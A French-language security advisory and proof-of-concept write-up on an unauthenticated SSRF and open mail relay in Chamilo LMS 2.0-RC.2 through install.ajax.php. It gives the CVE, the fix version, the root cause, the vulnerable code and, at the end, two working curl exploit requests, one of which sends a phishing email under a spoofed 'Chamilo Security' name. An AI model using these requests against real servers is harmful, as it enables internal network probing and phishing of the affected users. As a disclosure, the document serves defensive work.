
Preuve de concept d'exploit pour une SSRF non authentifiée et un relais de messagerie ouvert dans Chamilo LMS via install.ajax.php, permettant le sondage du réseau interne et l'envoi d'e-mails de phishing.
Gravité : Élevée (CVSS 7.2)
CWE : CWE-918 (SSRF) + CWE-306 (Authentification manquante)
Affecté : chamilo/chamilo-lms 2.0-RC.2
Corrigé dans : 2.0-RC.3
Avis : GHSA-mxc9-9335-45mc
NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-33715
Crédit : Romain Deperne
install.ajax.php dans Chamilo LMS 2.0 est accessible sans authentification sur des instances entièrement installées. Son action test_mailer accepte un DSN Symfony Mailer arbitraire et une destination depuis les données POST, permettant à tout attaquant non authentifié de forcer le serveur à initier des connexions SMTP vers des hôtes internes arbitraires (SSRF) et d'envoyer des e-mails via le serveur Chamilo en tant que relais ouvert.
J'auditais Chamilo LMS après avoir remarqué qu'il avait accumulé plusieurs CVE mais n'avait pas été audité en profondeur sur ses points de terminaison AJAX. Mon approche : lister tous les fichiers dans public/main/inc/ajax/ et vérifier si chacun commence par require_once __DIR__.'/../global.inc.php' — l'inclusion qui impose l'authentification dans l'ensemble du code.
install.ajax.php était l'exception. Il n'inclut que l'autoloader Composer. Le nom du fichier suggérait déjà qu'il s'agissait de code d'installation résiduel — et un grep pour test_mailer à l'intérieur a confirmé qu'il accepte une chaîne DSN Symfony Mailer brute depuis les données POST et la transmet directement à Transport::fromDsn().
C'est une primitive SSRF complète : un attaquant non authentifié contrôle le protocole, l'hôte et le port auxquels le serveur se connecte. Le fait qu'il envoie un véritable e-mail via le transport que vous configurez en fait également un relais ouvert. J'ai confirmé avec un simple curl que le point de terminaison était accessible sans aucun cookie de session sur une instance entièrement installée.
La cause racine est architecturale : le fichier contourne le pare-feu de sécurité de Symfony car la directive Apache RewriteCond %{REQUEST_FILENAME} !-f transmet directement les fichiers PHP existants à PHP, sans jamais passer par le contrôleur frontal.
Fichier : public/main/inc/ajax/install.ajax.php
Le fichier a été conçu pour l'assistant d'installation mais reste accessible après l'installation. Contrairement à tous les autres points de terminaison AJAX du même répertoire, il n'inclut pas global.inc.php — ce qui signifie zéro authentification, zéro vérification d'autorisation :
// Line 18 — only loads Composer autoloader, no auth
require_once __DIR__.'/../../../../vendor/autoload.php';
L'action test_mailer (ligne ~138) accepte des paramètres POST contrôlés par l'attaquant :
case 'test_mailer':
$mailerDsn = (string) $request->request->get('mailerDsn'); // arbitrary SMTP DSN
$mailerTestDestination = (string) $request->request->get('mailerTestDestination'); // arbitrary email
// ...
$transport = Transport::fromDsn($mailerDsn); // connects to attacker's SMTP server
$mailer = new Mailer($transport);
$mailer->send($email); // sends email through it
Comparez avec n'importe quel endpoint correctement protégé :
// chat.ajax.php line 9 — correct pattern
require_once __DIR__.'/../global.inc.php'; // enforces authentication
api_block_anonymous_users();
Le fichier est servi directement par Apache (RewriteCond %{REQUEST_FILENAME} !-f laisse passer les fichiers PHP existants, contournant le pare-feu de sécurité de Symfony). L'absence d'inclusion de global.inc.php signifie aucune session, aucune authentification, aucune vérification d'installation terminée.
Voir poc.py pour une démonstration complète.
# SSRF — force Chamilo to connect to internal SMTP server
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
-d "mailerDsn=smtp://10.0.0.1:25" \
-d "[email protected]" \
-d "mailerFromName=Test" \
-d "[email protected]"
# Open relay — send phishing email through the Chamilo server
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
-d "mailerDsn=smtp://mail.chamilo.org:587" \
-d "[email protected]" \
-d "mailerFromName=Chamilo Security" \
-d "[email protected]"